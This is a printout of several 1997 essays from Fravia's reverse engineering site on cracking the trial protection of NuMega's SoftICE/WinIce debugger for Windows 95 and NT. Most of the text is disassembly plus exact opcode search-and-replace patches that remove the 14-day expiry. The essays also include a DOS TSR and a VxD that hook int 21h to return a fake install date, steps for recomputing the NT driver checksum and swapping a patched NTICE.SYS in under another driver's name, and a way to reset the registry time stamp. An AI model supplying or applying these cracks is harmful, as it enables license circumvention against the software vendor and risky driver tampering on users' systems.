buffer test eax,ea je 87454 mov edx,[eax+58] ; checksum from the file header mov

http://www.instinct.org/fravia/wi_igno.htm (3 of 4) [2/7/2001 3:09:59 PM]


wi_igno

ebx,1 cmp di,dx mov ebp,ebx adc ebp,-1 mov cx,dx sub di,bp ; subtract low word of
checksum sub di,cx mov ax,[eax+5A] ; high word of the checksum cmp di,ax adc ebx,-1
sub di,bx sub di,ax ; subtract high word of checksum jmp 87459 87454: xor di,di mov
edx,esi 87459: movzx eax,di add eax,esi ; add file length pop ebp pop edi cmp eax,edx
; compare real and reported checksum sete al pop esi pop ebx retn 08 So that's all.
The algorithm is just simply adding the file (by words). Whenever overflow occurs,
checksum is cut to word and incremented. The position of the checksum itself is
excluded from this processing. After "summing" the whole file, this checksum is
expanded to DWORD and the file length is added. That's all. Simple but effective.
Just two remarks: 1) If you wanna easily get inside the checksum test, set breakpoint
on ZwOpenFile. When you get there, type P RET once. I'm sure you'll find the way then
:-) 2) As you can see from the code "above,.class"
tppabs="http://fravia.org/above,.class" the PE EXE file checksum is stored at offset
05A, starting from "PE". For more info see the relative Microsoft documentation.
Happy NT drivers cracking!! by igNorAMUS, 27 May 1997

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut CGI-tricks search_forms mailFraVia
Is software reverse engineering legal?

http://www.instinct.org/fravia/wi_igno.htm (4 of 4) [2/7/2001 3:09:59 PM]


wi_rcg2

+HCU 1997, Project2: Winice cracking


Phase 5
Courtesy of Fravia's page of reverse engineering

Phase 5
By +RCG - 01 July 1997

How to crack WinIce Version 3.10 for Windows95

An introduction to virtual devices cracking

by +RCG, June 1997

WinIce95 is already cracked through various approaches (see


all the other essays on this very "project2" page), yet I continued
to work on it: I was worried about the caller for this routine.

Following the code, I reached this caller:

:000004BA 83EC6C sub esp, 0000006C


:000004BD 57 push edi
:000004BE 8D7C2404 lea edi, [esp + 04]
:000004C2 CD20 *** int 20 ;VmmCall Save_Client_State
:000004C4 8D00 lea eax, [eax]
:000004C6 0100 add [eax], eax
:000004C8 5F pop edi
:000004C9 CD20 *** int 20 ;VmmCall Begin_Nested_Exec
:000004CB 830001 add dword ptr [eax], 00000001
:000004CE 0066C7 add [esi-39], ah
:000004D1 45 inc ebp
:000004D2 1C00 sbb al, 00
:000004D4 2AB821000000 sub bh, [eax+00000021] ;Mov ax,21
:000004DA CD20 *** int 20 ; VmmCall Exec_Int
:000004DC 8400 test [eax], al
:000004DE 0100 add [eax], eax
:000004E0 51 push ecx
:000004E1 52 push edx
:000004E2 0FB74518 movzx word ptr eax, [ebp+18] ;Year
:000004E6 50 push eax
:000004E7 0FB64514 movzx byte ptr eax, [ebp+14] ;Month
:000004EB 50 push eax
:000004EC 0FB64515 movzx byte ptr eax, [ebp+15] ;Day
:000004F0 50 push eax
:000004F1 E88A440500 call 00054980 ;This is the caller
:000004F6 5A pop edx

http://www.instinct.org/fravia/wi_rcg2.htm (1 of 7) [2/7/2001 3:10:02 PM]


wi_rcg2

:000004F7 59 pop ecx


:000004F8 83E803 sub eax, 00000003
:000004FB 7407 je 00000504
:000004FD C605FA88060059 mov byte ptr [000688FA], 59 ;This flag could be

;interesting....
:00000504 CD20 *** int 20 ; VmmCall End_Nested_Exec
:00000506 8600 xchg [eax], al
:00000508 0100 add [eax], eax
:0000050A 56 push esi
:0000050B 8D742404 lea esi, [esp + 04]
:0000050F CD20 *** int 20 ; VmmCall
Restore_Client_State
:00000511 8E00 mov es, [eax]
:00000513 0100 add [eax], eax
:00000515 5E pop esi
:00000516 83C46C add esp, 0000006C
:00000519 C3 ret

but in the last weeks I have been trying to understand VXD and now I understand
it a little more.

The 4 bytes following the int 20 opcode are the VmmCall


codification, so don't worry about these stupid "nonsense" instructions.

A Vxd can call an old interrupt service in real mode or better


in V86 mode, to do this, it uses first the Begin_Nested_Exec, this prepare
the OS and the CPU to execute it, when returning the Vxd restore the parameters
and continue with the PM program.

I hope that in a few weeks I'll be able to write a short tutorial about
Vxd design.

The idea is, Does Winice use the old DOS 2Ah service to get the system
date? and, Does it W95 too?

To answer this question I wrote the following small TSR program:

ODIGO SEGMENT
ASSUME CS:CODIGO
.486
ORG 100h

INICIO: mov ah,35h


mov al,21h ;get int. vector
int 21h ;returned in es:bx
lea esi,Noth1
mov ax,esi
mov [esi+2],ax
mov [esi],bx
push ds
xor ax,ax
mov ds,ax ;ds=0000

http://www.instinct.org/fravia/wi_rcg2.htm (2 of 7) [2/7/2001 3:10:02 PM]


wi_rcg2

push cs ;ax=cs
pop ax
mov ds:86h,ax
lea ax,New_Int21
mov ds:84h,ax
pop ds
jmp final

New_Int21: cli
cmp ax,2A00h
jne Noth
mov edx,[esp+4]
test edx,edx ;SoftIce call?.
jne Noth ;No
;Put here your install date
mov al,1 ;Install day of week
mov cx,1997 ;Install year
mov dh,6 ;Install month
mov dl,23 ;Install day
sti
iret

Noth: sti
jmp dword ptr cs:[Noth1]

Noth1: dw 00,00

final: mov ax,3100h


mov edx,offset final
shr edx,1
shr edx,1
shr edx,1
shr edx,1
inc edx
int 21h ;TSR

ENDS CODIGO
END INICIO

Now, once it is compiled, add to your autoexec.bat file, just before the
winice line, so you will have it permanently loaded.
I changed a little this program and forced it to give always the same date,
and after loading Windoze95, I changed the system date, but it has no effect, always
the same date! Our Windoze95 OS and its "32 bits preemptive multitasking kernel" use
the old DOS services to get the system date!!!!

Could you imagine how many uses we can give to this fact?
As first application of what we learned, let's crack our beloved
Numega's Winie... I noticed that only Winie's call has a zero in the [esp+4]
address, lets use this as a way to check if Winie is the real caller, just
like I did.

You can work on it... using Winie, write:

http://www.instinct.org/fravia/wi_rcg2.htm (3 of 7) [2/7/2001 3:10:02 PM]


wi_rcg2

e $0:84
now, you can see where in memory our TSR program is stored.

0000:00000084 2C 01 BC 09 F7 2F ........
\___/ \___/
Offset Segment

and:
u $9BC:12C or bpx $9BC:12C

Note: Compile this program using the option:


Tasm winiecrk.asm
Tlink /t /3 winiecrk.obj

Part 2:
The same, using VxD plus a self-modifiable code:
.386p
.xlist

include vmm.inc
.list

;******************************************************************************
; declare virtual device
;==============================================================================

Declare_Virtual_Device VicecrkD, 3, 0ah, VicecrkD_Control, Undefined_Device_ID, \


Undefined_Init_Order,,

Hooked_Int equ 21h


; This is the interrupt we want
; to hook.
;******************************************************************************
; Initialization Code
;==============================================================================

VXD_ICODE_SEG
BeginProc VicecrkD_Sys_Crit_Init
mov eax, Hooked_Int
mov esi, OFFSET32 VicecrkD_V86_Int_Handler
VMMCall Hook_V86_Int_Chain
clc
ret

EndProc VicecrkD_Sys_Crit_Init
VXD_ICODE_ENDS
;******************************************************************************
; Code
;------------------------------------------------------------------------------

VXD_CODE_SEG

;******************************************************************************
; Control dispatch proc
;==============================================================================

http://www.instinct.org/fravia/wi_rcg2.htm (4 of 7) [2/7/2001 3:10:02 PM]


wi_rcg2

BeginProc VicecrkD_Control
Control_Dispatch Sys_Critical_Init, VicecrkD_Sys_Crit_Init
clc
ret

EndProc VicecrkD_Control

;--------------------------------------------------------------------
; VicecrkD_V86_Int_Handler
;--------------------------------------------------------------------

BeginProc VicecrkD_V86_Int_Handler
pushad

NOPS: jmp short Go_Ahead ;We will nop this to avoid the check
jmp short No_Winie_Time_Request

Go_Ahead:
mov eax,[ebp.Client_EAX]
cmp ax,2A00h
jne short No_Winie_Time_Request
mov eax,[ebp.Client_EBX]
test eax,eax
jne short No_Winie_Time_Request
mov eax,[ebp.Client_EDI]
test eax,eax
jne short No_Winie_Time_Request
mov eax,[ebp.Client_ESI]
test eax,eax
jne short No_Winie_Time_Request

;Now we will disable the Vxd and give Sice a "good


;guy" date once for all

mov esi,offset32 NOPS


mov word ptr [esi],9090h ;NOPS
mov [ebp.Client_AX],1 ;Day of week
mov [ebp.Client_CX],1997 ;Year
mov [ebp.Client_DX],0617h ;6 => Month 17=> Day

popad
clc ;consume the interrupt
ret

No_Winie_Time_Request:
popad
stc ; don't consume the interrupt
ret

EndProc VicecrkD_V86_Int_Handler

;==============================================================================
VXD_CODE_ENDS
END

http://www.instinct.org/fravia/wi_rcg2.htm (5 of 7) [2/7/2001 3:10:02 PM]


wi_rcg2

To compile this you will need some include and exe files, you may
try to fetch them here:

ftp.ttt.bme.hu/pub/winddk/386/

This Vxd is based on VHook86D sample you can find in these ftp.

Sorry if this document is a little unclear/rough, but unfortunately


my free time is scarce in these days. Work on it yourself, I will re-publish
a more 'decent' essay in two weeks time.

Good Luck
+RCG 1997

Post Scriptum:

Here the DO.BAT file:

********************************************************************
masm5 -p -w2 -Mx vhook86d;
link386 /NOI /NOD /NOP /MAP vhook86d,vhook86d.vxd,,,vhook86d.def
addhdr vhook86d.vxd
move vhook86d.vxd c:\windows\system\vmm32
@echo Now add this line to your system.ini
@echo [386Enh]
@echo .
@echo .
@echo .
@echo device=*vhook86d
********************************************************************

Here the vhook86d.def file:


********************************************************************
LIBRARY VHook86D

DESCRIPTION 'VHOOK86D Sample VxD for Microsoft Windows'


EXETYPE DEV386
SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_TEXT CLASS 'PCODE' NONDISCARDABLE
_DATA CLASS 'PCODE' NONDISCARDABLE

EXPORTS
VHook86D_DDB @1
********************************************************************

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails

http://www.instinct.org/fravia/wi_rcg2.htm (6 of 7) [2/7/2001 3:10:02 PM]


wi_rcg2

antismut CGI-tricks search_forms mailFraVia


Is software reverse engineering legal?

http://www.instinct.org/fravia/wi_rcg2.htm (7 of 7) [2/7/2001 3:10:02 PM]


wi_birdy

+HCU 1997, Project2: WiniceNT cracking


Phase 6
Courtesy of Fravia's page of reverse engineering
18 July 1997

There still was much work to do in the fourth phase, as I mentioned,


because IgNorAMUS only in the long run had told how it was done (he had
done the most tricky part of it, though).

There were many bits of information that were left out, not only the new
checksum itself but also the exact location and code of the routine
"similar to NmGetNumDaysLeft". Now here it is, in HIEW (I first had to
update my entire toolbox. You *must* have version 5.60 or greater,
because of the checksum later on) search for the following:

This the line of KeQueryGetSystemTime


|
.0002A02C: FF1508380D00 call KeQuerySystemTime ;ntoskrnl.exe
.0002A032: 8D8D04FFFFFF lea ecx,[ebp][0FFFFFF04]
.0002A038: 8D853CFFFFFF lea eax,[ebp][0FFFFFF3C]
.0002A03E: 51 push ecx
.0002A03F: 50 push eax
.0002A040: FF1504380D00 call RtlTimeToTimeFields;ntoskrnl.exe
.0002A046: 0FBF8D04FFFFFF movsx ecx,w,[ebp][0FFFFFF04]
.0002A04D: 0FBF8508FFFFFF movsx eax,w,[ebp][0FFFFFF08]
.0002A054: 0FBF9506FFFFFF movsx edx,w,[ebp][0FFFFFF06]
.0002A05B: 51 push ecx
.0002A05C: 50 push eax
.0002A05D: 52 push edx
.0002A05E: E8D1160000 call .00002B734 ------(1)
|
This is IT. Follow Me!

Then you're landing in a routine quite (but not wholly) similar to that
one in Phase 2; Page down... down... down - gotcha:

.0002B7FA: 034D08 add ecx,[ebp][00008]


.0002B7FD: 6BC01F imul eax,eax,01F
.0002B800: 6BC91F imul ecx,ecx,01F
.0002B803: 8D1438 lea edx,[eax][edi]
.0002B806: 8B450C mov eax,[ebp][0000C]
.0002B809: 03C1 add eax,ecx
.0002B80B: 3BC2 cmp eax,edx
.0002B80D: 7202 jb .00002B811 -------(1)
.0002B80F: 2BC2 sub eax,edx
.0002B811: 83F80E cmp eax,00E
.0002B814: EB0F jmps .00002B825 -------(2)
.0002B816: C705B0E4060000000000 mov d,[00006E4B0],000000000
.0002B820: 8B45F8 mov eax,[ebp][-0008]
.0002B823: 7213 **** jb .00002B838 ---------- (3)*** -->

http://www.instinct.org/fravia/wi_birdy.htm (1 of 3) [2/7/2001 3:10:05 PM]


wi_birdy

jmps...
.0002B825: B90E000000 mov ecx,00000000E
.0002B82A: 2BC8 **** sub ecx,eax *** --> nop
nop
.0002B82C: 8D4601 lea eax,[esi][00001]
.0002B82F: 6BC003 imul eax,eax,003
.0002B832: 890DB0E40600 mov [00006E4B0],ecx
.0002B838: 5F pop edi
.0002B839: 5E pop esi
.0002B83A: 5B pop ebx

So what you have to do is change


7213 in EB13 (short jump sufficient)
2BCB in 9090

This is the first part of it. Now for the tricky one. First the checksum
for retrieval. Hit F8 in HIEW:

Checksum: 000DBB04

Now we can search for this constant in register EDX when tracing into
the call right after NTOSKRNL!ZwOpenFile to be sure we are near it;
First, take NTOSKRNL.EXE into the Exports listbox in loader32, then
start up the unchanged Version of NTICE.SYS. BPX ZwOpenfile as assumed
in phase 4. Outta there.

This is again a point I first didn't understand. Why should the NTICE
fake be renamed in PNPISA.SYS? Wouldn't it have been much funnier to
name it "Winnie.sys"? Then I realized what IgNorAMUS meant with it. A
breeze for crackers, in NT most of the drivers can be loaded and
unloaded "afterwards" in the running environment (understand now why I
like working with it? 95 is game. NT is business. They take it much more
serious). What you do is search the listbox of Control, Devices (hope I
got the names right!) for a device that is loaded at "System" level
_and_ deactivated (==not needed). Rename NTICE.SYS or what you have to
the name of this device (backup!!!) and click the Start button. Just
like that! And restart and restart and restart if you need to. No silly
bootomania.

When everything is done right, you don't wait for long and wham! Winnie
pops up with the breakpointed line. Trace now. Only step over the
NTOSKRNL calls. Keep watching EDX. Near the end of the second call the
checksum appears, and the "new" one in

EAX: 000D83E2.

Caution: When you simply step over the call, directly to

cmp al,al

the checksum is slightly different. If you now press F5, the well known
MessageBox appears: "...something... 00000221". Nevermore!

Hiew the PNPISA.SYS now and search for the anagram: 04 BB 0D 00. Change

http://www.instinct.org/fravia/wi_birdy.htm (2 of 3) [2/7/2001 3:10:05 PM]


wi_birdy

to E2 83 0D 00. Restart in the devices window. Now another Box appears,


telling you that you can't have the same device twice. Yahoo!

That's all about it. Now, before doing anything else, "take the cracked
NTICE.SYS out of the traffic", as a german phrase goes, and replace it
with the original PNPISA.SYS (Remark: This driver comes first with the
service pack 3 of NT4!). If you don't, this means war because at next
bootup the driver will then be loaded. Or even not. And if you have NT
running on a NTFS partition, you will have to install a second NT4 on
your system to get back to it (sort of service station, not a bad move
though).

Now reboot and enjoy.

What there is left to say: You have to live on with the Registry keys
OleGUIDHigh and OleGUIDLow and also with the lines at the bottom of
Winice.dat. But don't matter, eh?

Greetz,
Birdy Harry

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut CGI-tricks search_forms mailFraVia
Is software reverse engineering legal?

http://www.instinct.org/fravia/wi_birdy.htm (3 of 3) [2/7/2001 3:10:05 PM]


underta1

SOFTICE 3.01 PHASE7


more reverse engineering
by The Undertaker
(01 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering


Well, this author sent me a reverse engineering essay with his complete address and telephon number inside the text... I
wont publish these data unless he confirms that he really wants it...

SOFTICE 3.01 PHASE4 CRACK BY THE UNDERTACKER

************ FINAL PAY LOAD FOR SOFTICE 3.01 ************

It is a great plesure for me to crack SoftIce, because NuMega's


programmer are simply the Best in the world.
Also this is my favorite debugging tool. Anyway thanks, Numega, for
having created such a nice debugger. Your work is honored, you should
protect it better, though (or d'you want it to be the world's standard
trough "gratis spreading"? :-).
This crack is an addition to Frog's Print (project2-PHASE 1) and
+Rcg's(project2-PHASE 2).
Before you start with this cracking session you must already have completed
PHASE 1 and PHASE 2 of +HCU's project2.
Unfortunately, once you have completed PHASE 1 and PHASE 2 you still
have the "14 day" problem... Yet after completing this session SoftIce's "Godot"
trial version will be forever yours.
In addition to that I will include a special crack for LOADER32, in order to
avoid the annoying "Evaluation 14 days" Message box!

Lets light up a "Ganja" Cigarette (in our Sri Lankan way :-)
Ok! Here we go!

TOOLS YOU NEED:


- W32DASM VERSION 8.5
- SOFTICE 3.01 "Godot" (14 days evaluation version)

1) Load W32DASM with NMTRANS.DLL


2) Once you have started W32dasm, choose Function / imports and then
click onto "NmSymIsSoftICELoaded"...

Then You'll land more or less here:

Exported fn(): NmSymIsSoftICELoaded - Ord:0016h

Process the code thoroughly, until you find following function

http://www.instinct.org/fravia/underta1.htm (1 of 3) [2/7/2001 3:10:07 PM]


underta1

* Reference To: KERNEL32.GetSystemTime, Ord:0134h


....
....
:1000EE12 3BD1 CMP EDX, ECX Check Days_Left
:1000EE14 7202 JB 1000EE18

Up to this point FROG'S PRINT crack [Project's 2, PHASE 1] worked well...

* Referenced by a Jump at Address:1000EE14(C)


:1000EE18 83FA0E CMP EDX, E ; Compare Days_Left with 14_Days_Allowed
:1000EE1B 720F JB 1000EE2C ; evil jump below!
This code must be changed to
:1000EE1B EB0F JMP 1000EE2C

Therefore: opcode Search for 83FA0E720FC7051C


and change opcode to 83FA0EEB0FC7051C

Again follow the code until the following location...

:1000EE35 2BC2 SUB EAX,EDX


and you'll change it, nopping it to
:1000EE35 90 NOP
:1000EE36 90 NOP

Therefore: opcode Search for 8D747F012BC2


and change opcode to 8D747F019090

Finito!, Caput! Softice is yours!


(Of course it's yours only in case you reallybadly need a working
copy of this target in order to use it for more than two weeks... say
because you have been ill, and you are in the impossibility to buy a
regular copy of it in your favourite software shop... in this case,
as an emergency solution, you could eventually use the short crack
above :-)

As I promised at the beginning, here is something more:


the way to get rid of the annoying "14 Days Eval" Window inside LOADER32.

- W32DASM loader32
- choose Refs & String data ref
- click "*** Valid for"

You'll land here ....

:0043A27B B890A44300 MOV EAX, 0043A490


:0043A280 E86FBFFCFF CALL 004061F4
:0043A285 6A00 PUSH 00000000
:0043A287 8B45FC MOV EAX, [EBP-04]
:0043A28A E82D93FCFF CALL 004035BC
:0043A28F 8BD0 MOV EDX, EAX
:0043A291 B970A54300 MOV ECX, 0043A570 ; Obj ->"Symbol Loader"
:0043A296 A124C64300 MOV EAX, [0043C624]
# :0043A29B E838A1FEFF CALL 004243D8 ;here it is! This call is evil!

http://www.instinct.org/fravia/underta1.htm (2 of 3) [2/7/2001 3:10:07 PM]


underta1

CHANGE TO
:0043A29B 48 DEC EAX
:0043A29C 40 INC EAX
:0043A29D 48 DEC EAX
:0043A29E 40 INC EAX
:0043A29F 90 NOP

-> Search opcode A124C64300E838A1FEFF


-> Change to A124C643004840484090

Hereby you have got the complete crack for SoftICE 3.01. I feel that
+HCU's project2 is therefore terminated (for Win95's Godot at least).
I'm actually working on project0 (W32DASM version 8.5 crack).
In a week or two I hope to release an essay about that protection scheme.
I am also working on NTICE 3.01, using a different approach.
The relevant essay will be released (I hope) very soon.

Finally my Thanks go to Fravia's page of reverse engineering and all


the +ORC's students and +HCU's guys for their hard work!
Keep Up the good work guys!!!.

REVERSE ENGINEERING LIVES FOREVER!!!

REACH THE UNDERTACKER IN SRI LANKA!

PHONE xxx (supprimed by fravia+ until confirmed)


EMAIL xxx (supprimed by fravia+ until confirmed)

(c) The Undertaker, 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/underta1.htm (3 of 3) [2/7/2001 3:10:07 PM]


bozo1

SOFTICE NT - PHASE 8
The concluding essay
by BOZO
(02 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering


Well, this good essay from Bozo concludes the whole project...
Reading this essay I have two observations:
1) I regret that Bozo doesn't "go into the good and bad points" of Winice, because such a discussion would be
very useful and it is surely appropriate here, among people that knows this tool like nobody else :-)
2) What about that "dongle driver reverse engineering" Bozo speaks about? Hey Bozo, we have a running
+HCU's project about dongles, don't you know it? Where is that essay? I want it! :-)

Cracking of Winice for WinNT


I have been looking, for a long... long time for WinIce for WinNT,
since I am forced by other software to use it and I did not feel to
install Windows 95 just to have Winice.
When, at last, a trial version was made available at Numega's site
I could not wait to crack it.
Unfortunately the "real" reverse engineers were too fast for me.
In any case... When Frog's first crack for WinIce for Windows95 became
available, I tried it on my version, with a slight variation... and:
BINGO... I found the code... changed it... and... PRESTO... it worked.
When the following essays became available for WinIce for
WinNT), I though to myself... crazy... what are these people talking
about? Checksums and all... My copy of Winice for WinNT just works fine
and I thought that the WinNT crackers went a little bit overboard.

In any case ... I used my homemade crack for Winice WinNT... and started
cracking everything in sight.
Well... to all crackers .. Winice has its good points and its bad ones,
but I don't want to go into that.
By the way: Wdasm, Urbanik's disassembler, is an excellent tool in its
own right and has a definite place next to WinIce.
Okay... back to reverse engineering WinIce for WinNT.

After a while I had to reformat my disk and reinstall WinIce.


I made a backup with the intention to restore it to itsself.
Later I decided to reinstall WinIce and that's were the s... hit the
fan: My copy was not working any more!
I could not find the code cracked by the +HCU's students in the essays,

http://www.instinct.org/fravia/bozo1.htm (1 of 3) [2/7/2001 3:10:09 PM]


bozo1

nothing worked any more... BUT IT HAD WORKED PREVIOUSLY!


What went wrong?
Checksum and the tootie came up... and no WinIce.

After a long cracking session and a lot of frustration, I decided to


sit down and think back...
Must be something with the installation, I thought, and tried various
options... Automatic load, manual load, System load and, finally, load
WinIce during booting.
Now I remembered... I wanted to crack a dongle driver and that was how
I installed it in the first place... in order to load it during the
WinNT boot phase.

So what is the crack? Just perform the small (and obvious) crack below...
and ensure that the WinIce driver is loaded during the boot phase.
No checksum... nothing... everything loads smoothly.

BTW. The loader32.exe and nmtrans.dll are identical to the first


cracks regarding Win95, see the relevant essays.

Now read the following code and modify as indicated.

(NOTE: use in BOOT configuration else it will sumcheck and wont load)

:0003B80B 3BC2 cmp eax, edx


:0003B80D 7202 jb 0003B811
:0003B80F 2BC2 sub eax, edx

* Referenced by a Jump at Address:0003B80D(C)


|
:0003B811 83F80E cmp eax, 0000000E ;0xE = 14 days!
:0003B814 720F *** jb 0003B825 ; change to jmp (EB0F)
:0003B816 C705B0E4060000000000 mov dword ptr [0006E4B0], 0
:0003B820 8B45F8 mov eax, [ebp-08]
:0003B823 EB13 jmp 0003B838

* Referenced by a Jump at Address:0003B814(C)


|
:0003B825 B90E000000 mov ecx, 0000000E ;0xE = 14 days!
:0003B82A 2BC8 *** sub ecx, eax ; change to nop,nop
:0003B82C 8D4601 lea eax, [esi+01]
:0003B82F 6BC003 imul eax, eax, 00000003
:0003B832 890DB0E40600 mov [0006E4B0], ecx

* Referenced by a Jump at Address:0003B823(U)


|
:0003B838 5F pop edi
:0003B839 5E pop esi

http://www.instinct.org/fravia/bozo1.htm (2 of 3) [2/7/2001 3:10:09 PM]


bozo1

:0003B83A 5B pop ebx


:0003B83B 8BE5 mov esp, ebp
:0003B83D 5D pop ebp
:0003B83E C20C00 ret 000C

Okay .... thats it. There are a number of other cracks of mine, but
those are mostly boring 2 minute jobs.

Visual Basic still presents some problems though...

Greetings to all crackers and... keep them coming...


Hopefully I get the time to share with you all some other techniques...
there are a number of things I am working on... time permitting.

(Hope +ORC publishes soon another of his lessons...


Whats happening, +ORC ....?)

Bozo 29 July 1997


(c) Bozo, 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/bozo1.htm (3 of 3) [2/7/2001 3:10:09 PM]


birdy2

SOFTICE NT - PHASE 9
Some explanations
by Birdy Harry
(06 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering


Well, never sell a bear until you have killed it... here you go with some more Winice NT precisations... hey, I like it... crackers
are precise and determined people... d'you agree?
This is actually NOT an essay...it's a letter, but it is nevertheless important for Winice cracking, and if you have been hooked
on this protection scheme as much as I have been, you'll enjoy this letter just like any other essay on this subject... a little
cryptic it is, I have to admit, though... here you go!

Dear Fravia+,
Looking through your pages I found an interesting comment from Squirlle
and would like to add some (hopefully) helpful hints. Also, I really
appreciated if Squirlle would email me and be more precise on which
difficulties he encountered, because as for now I have to guess them
a bit. I don't have his email adress too, so I'm posting this request
to you.

>I got lots of errors and even after I found out about the need for
>certain visual c++ libraries to follow phase 4.

So the problems began already in phase 4?


The same happened to me, believe me.
Maybe Ignoramus has got the same environmental dlls in his .\system32
folder as I do and just forgot to mention it.
Look... for example... most crackers are coders as well, so I would't
wonder if he had VC++ which brings along all the debug dlls for Windows NT!
If so, I apologize for having not mentioned it.

>Since I could not


>load pnpisa.sys as described (error requesting some debug data)

(This is a very important, unique and advantageous ability of NT and so


I'll talk in pictures now for chrissake! This has to go work!)

Now consider the following applet in your "Control" folder (look at the
caption and you'll understand why sometimes "my" names may not coincide
with yours =D):

http://www.instinct.org/fravia/birdy2.htm (1 of 5) [2/7/2001 3:10:26 PM]


birdy2

By double-clicking it you get into

Now look at the name! "PnP ISA Enabler Driver" or shortly PNPISA.SYS!!!

Sometimes, I admit, you may have to guess a little the correct file name
itself... in order to rename your target to it. This happens because the
line in this window will stay the same no matter the real file, that is,
it is not rechecked. But looking into .\System32\Drivers\ this shouldn't
be too hard.
Again, this is system level business... therefore be careful!

This was the meaning of the other tip: If you experiment with these with
NT on an NTFS partition (as I always would recommend it), have another NT
installation onto another FAT partition! Because only then you can
exchange the faked ones with the real drivers... if you messed up somehow
and erratically rebooted!

You can determine the usage of this driver mainly by looking at the
column in the middle - it says "not used"! This happens because if it was
there would be a notion "Gestartet" or maybe "started" (in the american
language NT version).
By the way, another driver suitable for our fake replacement would be the
"Pcmcia" on top of PnPISA or the "PCIDump" driver, because NT has not actually

http://www.instinct.org/fravia/birdy2.htm (2 of 5) [2/7/2001 3:10:26 PM]


birdy2

loaded them - *it only tried to do it at system level... (blue screen)*.

To make it clear: "It is completely sausage", as another of these nice


german phrases goes, which driver you use as long as

* it is listed here and


* it is not used. Especially be careful about this one!

Now, for further information, look at "Startart" or let's make it easy,


the fourth button from top of the DialogBox above. You now have a look
at the *level* at which the highlighted driver is started. And, of course,
there are radio buttons, thus you can even change its startup behaviour:

This just is the way the startup mode of WinICE is adjusted (you know:
the Startup Mode Setup). You can do this task much faster this way and
you don't even get the CleanSweep SmartSweep popup window popping up...
where you may digit the "new installation" a name (as you can see I'm
not in "cracking mode" at the moment =):

Is that chapter all clear now?


I don't have to mention that the appropriate drivers have to be backed
up in order to restore the system later on, do I?

>I could not get the new checksum.


Chile didn't I tell that you have to use HIEW 5.60 or above? This is

http://www.instinct.org/fravia/birdy2.htm (3 of 5) [2/7/2001 3:10:26 PM]


birdy2

because of the maximum length of the checksum in earlier HIEWs, it was


WORD only, whereas now it is DWORD, which is what we need. I'm telling
you: Hit F8 in HIEW...

>I did some searching on the net and found a helpful news
>article describing how to AUTOMATICALLY change the checksum.
>Simple (although not as instructive, it WORKS) use vc++ editbin.exe
>as follows: editbin /release That's it.

It is the "MSVC COFF binary file editor" -- this is real smart trick,
congratulations! I tested it with a copy of 4NT:

Looking before there was no checksum at all. Then

EDITBIN 4NT.EXE /RELEASE

and looking again. Phew -- A checksum there!!!

Of course it is done right the same way (same algorithm, that is) as it is
done by NTOSKRNL.EXE, cause both EDITBIN and NTOSKRNL are M$ products; as we
all know, they hardly change something they got running once =D, e.g. if you
look at the CD serial number check routine of NT setup and Office setup and
MSVC setup you will come to see that the total of the digits after the "-"
always is 14(decimal), let's say "040-2025104". The three digit number before
the "-" can be 038, 040 (just add an item :)

So I'm impressed! But the goal was also: reverse engineering. It was much
more instructive for me to crawl into the guts of NT and find the sucka my
way (sorry... I should have said "Ignoramus' way" ;-).

This was indeed a real challenge, then.

>NT is not an easy thing to understand without some good training!

Nobody would doubt it. But if a cracker does not understand it, who else ever will =)
?

And by the way what I had to fight more than NT was the win95 OS --
"Sinnlos 95" it's called in germany, this
notion means "without purpose" =D

(c) Birdy Harry, 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut search_forms mailFraVia

http://www.instinct.org/fravia/birdy2.htm (4 of 5) [2/7/2001 3:10:26 PM]


birdy2

is reverse engineering legal?

The "save as" function is called at startup and at shutdown of the program, but honestly, I dunno why. greetz, Birdy Harry

http://www.instinct.org/fravia/birdy2.htm (5 of 5) [2/7/2001 3:10:26 PM]


vicevers

Winice 3.01 time-stamp encryption


algorithm
Timestamping... and timedestamping
by ViceVersa+

(07 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering


Well,ViceVersa+ is right... listen to him: don't try to understand everything immediately at the first reading... it's so easy to
follow if you just read twice the math part!

REVERSE ENGINEERING Soft-Ice 3.01


time-stamp encryption algorithm
by ViceVersa+, 1997

Introduction

In this essay I will present a short reverse-engineering exercise. The target


is our belowed (even if already a little "too much" cracked) SoftIce 3.01 for
Windows 95.
In particular we will deal with the NmGetNumDaysLeft function at the heart of
its "Cinderella" protection (14 days "trial" protection scheme).

As you will know from the previous good essays by Frog's Print, +Rcg and The
Undertaker, Sice hides the installation time stamp in two DWORDs stored in
the
Registry (under HKLM\Software\Microsoft\Windows\Help\OleGUIDLow
and HKLM\Software\Microsoft\Windows\Help\OleGUIDHigh) and inside
WINICE.DAT
(look at the fancy line "Eval expiration date - DO NOT REMOVE!").

As already pointed out, the two DWORDs in the Registry are used only by the
Loader while the two DWORDs in WINICE.DAT are used only by WINICE.EXE (you
may experiment this yourself, changing the ones or the others and observing
which one "die" and which one do not).

The easy way to get 14 more days from Sice is to delete those two entries in
the Registry, uninstall Sice and reinstall it. This action forces the
installation program to put a "fresh" time stamp into the Registry and into
WINICE.DAT. Anyway, knowing how this time stamp is calculated, we could just
write a little program to put a "fresh" one into the Registry and into
WINICE.DAT whenever the trial period has expired. It would be exactly like

http://www.instinct.org/fravia/vicevers.htm (1 of 12) [2/7/2001 3:10:33 PM]


vicevers

reinstalling the whole application but without having to save the configuration
files and putting them back later.

I know that it's more comfortable to patch Sice once for good but I think
that this little exercise of reverse-engineering will nevertheless turn
